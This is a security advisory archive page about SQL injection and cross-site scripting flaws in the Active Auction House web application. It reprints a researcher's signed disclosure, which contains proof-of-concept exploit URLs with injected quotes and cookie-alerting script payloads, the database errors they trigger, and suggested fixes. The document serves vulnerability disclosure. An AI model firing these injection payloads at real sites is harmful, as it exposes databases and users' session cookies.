SecurityTracker.com
    Home    |    View Topics    |    Search    |    Contact Us    |   

SecurityTracker
Archives


 


Category:   Application (Commerce)  >   Active Auction House Vendors:   ActiveWebSoftwares.com
Active Auction House Input Validation Holes Permit SQL Injection and Cross-Site Scripting Attacks
SecurityTracker Alert ID:  1013649
SecurityTracker URL:  http://securitytracker.com/id/1013649
CVE Reference:   GENERIC-MAP-NOMATCH   (Links to External Site)
Date:  Apr 5 2005
Impact:   Disclosure of authentication information, Disclosure of system information, Disclosure of user information, Execution of arbitrary code via network, Modification of user information
Exploit Included:  Yes  

Description:   Diabolic Crab reported several input validation vulnerabilities in Active Auction House. A remote user can inject SQL commands and conduct cross-site scripting attacks.

Several scripts do not properly validate user-supplied input. A remote user can supply a specially crafted URL to execute SQL commands on the underlying database.

Some demonstration exploit URLs are provided:

http://[target]/activeauctionsuperstore/default.asp?Sortby=ItemName&SortDir='SQL_INJECTION

http://[target]/activeauctionsuperstore/default.asp?Sortby='SQL_INJECTION

http://[target]/activeauctionsuperstore/ItemInfo.asp?itemID='SQL_INJECTION

http://[target]/activeauctionsuperstore/default.asp?catid='SQL_ERROR

The e-mail field in '/activeauctionsuperstore/sendpassword.asp' also permits SQL injection.

Several parameters do not filter HTML code from user-supplied input before displaying the information. A remote user can create a specially crafted URL that, when loaded by a target user, will cause arbitrary scripting code to be executed by the target user's browser. The code will originate from the site running the Active Auction House software and will run in the security context of that site. As a result, the code will be able to access the target user's cookies (including authentication cookies), if any, associated with the site, access data recently submitted by the target user via web form to the site, or take actions on the site acting as the target user.

Some demonstration exploit URLs are provided:

http://[target]/activeauctionsuperstore/?ReturnURL='%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E&username=dcrab&password=

http://[target]/activeauctionsuperstore/?ReturnURL=start.asp&username=dcrab&password='%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E

http://[target]/activeauctionsuperstore/?ReturnURL=start.asp&username='%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E&&password=

http://[target]/activeauctionsuperstore/account.asp?ReturnURL=%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E

http://[target]/activeauctionsuperstore/sendpassword.asp?Table=Accounts&Title='php_evil_valuehttp://localhost/activeauctionsuperstore/sendpassword.asp?Table=Accounts&Title=%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E

http://[target]/activeauctionsuperstore/sendpassword.asp?Table=Accounts&Title="><script>alert(document.cookie)</script>

http://[target]/activeauctionsuperstore/sendpassword.asp?Table="><script>alert(document.cookie)</script>&Title=Account

http://[target]/activeauctionsuperstore/watchthisitem.asp?itemid="><script>alert(document.cookie)</script>&amp%3baccountid=

Impact:   A remote user can access the target user's cookies (including authentication cookies), if any, associated with the site running the Active Auction House software, access data recently submitted by the target user via web form to the site, or take actions on the site acting as the target user.

A remote user can execute SQL commands on the underlying database.

Solution:   No solution was available at the time of this entry.
Vendor URL:  www.activewebsoftwares.com/productinfo.aspx?productid=24 (Links to External Site)
Cause:   Input validation error
Underlying OS:  Windows (Any)

Message History:   None.


 Source Message Contents

Subject:  Active Auction House has multiple Sql injection, error and XSS vulnerabilities


-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1
 
Dcrab 's Security Advisory
[Hsc Security Group] http://www.hackerscenter.com/
[dP Security] http://digitalparadox.org/
 
Get Dcrab's Services to audit your Web servers, scripts, networks, etc. Learn more at http://www.digitalparadox.org/services.ah
 
Severity: High
Title: Active Auction House has multiple Sql injection, error and XSS vulnerabilities
Date: 06/04/2005
 
Vendor: Active Web Softwares
Vendor Website: www.activewebsoftwares.com
Summary: Active auction house has multiple sql injection, error and xss 
vulnerabilities.
 
Proof of Concept Exploits:
 
http://localhost/activeauctionsuperstore/default.asp?catid='SQL_ERROR
SQL ERROR
Microsoft OLE DB Provider for ODBC Drivers error '80040e21'
 
ODBC driver does not support the requested properties.
 
/activeauctionsuperstore/displaycategories.asp, line 52
 

http://localhost/activeauctionsuperstore/default.asp?Sortby=ItemName&SortDir='SQL_INJECTION
SQL INJECTION
Microsoft OLE DB Provider for ODBC Drivers error '80040e14'
 
[Microsoft][ODBC Microsoft Access Driver] Syntax error in string in query expression 
'ItemName 'SQL_INJECTION'.
 
/activeauctionsuperstore/includes/gentable.asp, line 39
 

http://localhost/activeauctionsuperstore/default.asp?Sortby='SQL_INJECTION
SQL INJECTION
Microsoft OLE DB Provider for ODBC Drivers error '80040e14'
 
[Microsoft][ODBC Microsoft Access Driver] Syntax error in string in query expression ''SQL_INJECTION'.
 
/activeauctionsuperstore/includes/gentable.asp, line 39
 

http://localhost/activeauctionsuperstore/ItemInfo.asp?itemID='SQL_INJECTION
SQL INJECTION
Microsoft OLE DB Provider for ODBC Drivers error '80040e14'
 
[Microsoft][ODBC Microsoft Access Driver] Syntax error in string in query expression 'ItemID='SQL_INJECTION'.
 
/activeauctionsuperstore/ItemInfo.asp, line 18
 

http://localhost/activeauctionsuperstore/sendpassword.asp
SQL INJECTON
In the Email field enter a sql injection and done ;) For example
entering 'SQL_INJECTION you get
Microsoft OLE DB Provider for ODBC Drivers error '80040e14'
 
[Microsoft][ODBC Microsoft Access Driver] Syntax error in FROM
clause.
 
/activeauctionsuperstore/sendpassword.asp, line 45
 

http://localhost/activeauctionsuperstore/?ReturnURL='%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E&username=dcrab&password=
Pops cookie
 

http://localhost/activeauctionsuperstore/?ReturnURL=start.asp&username=dcrab&password='%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E
Pops cookie
 

http://localhost/activeauctionsuperstore/?ReturnURL=start.asp&username='%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E&&password=
Pops cookie
 

http://localhost/activeauctionsuperstore/account.asp?ReturnURL=%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E
Pops cookie
 

http://localhost/activeauctionsuperstore/sendpassword.asp?Table=Accounts&Title='php_evil_valuehttp://localhost/activeauctionsuperstore/sendpassword.asp?Table=Accounts&Title=%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E
Pops cookie
 

http://localhost/activeauctionsuperstore/sendpassword.asp?Table=Accounts&Title="><script>alert(document.cookie)</script>
Pops cookie
 

http://localhost/activeauctionsuperstore/sendpassword.asp?Table="><script>alert(document.cookie)</script>&Title=Account
Pops cookie
 

http://localhost/activeauctionsuperstore/watchthisitem.asp?itemid="><script>alert(document.cookie)</script>&amp%3baccountid=
Pops cookie
 

Possible Fixes: The usage of htmlspeacialchars(), mysql_escape_string(), 
mysql_real_escape_string() and other functions for input validation before passing 
user input to the mysql database, or before echoing data on the screen, would solve 
these problems.
 
Keep your self updated, Rss feed at: http://digitalparadox.org/rss.ah
 
Author:
These vulnerabilties have been found and released by Diabolic Crab, Email: 
dcrab[AT|NOSPAM]hackerscenter[DOT|NOSPAM]com, please feel free to contact me 
regarding these vulnerabilities. You can find me at, http://www.hackerscenter.com or 
http://digitalparadox.org/. Lookout for my soon to come out book on Secure coding 
with php.
 
-----BEGIN PGP SIGNATURE-----
Version: PGP 8.1 - not licensed for commercial use: www.pgp.com
 
iQA/AwUBQlLSLSZV5e8av/DUEQJy+wCfficKxFWekfTVbslFf6X2fYgkFZ0AniJA
lWYvwOWmoKGHgDKanamGDcvc
=GAwn
-----END PGP SIGNATURE-----
 
 
 


Go to the Top of This SecurityTracker Archive Page





Home   |    View Topics   |    Search   |    Contact Us

This web site uses cookies for web analytics. Learn More

Copyright 2020, SecurityGlobal.net LLC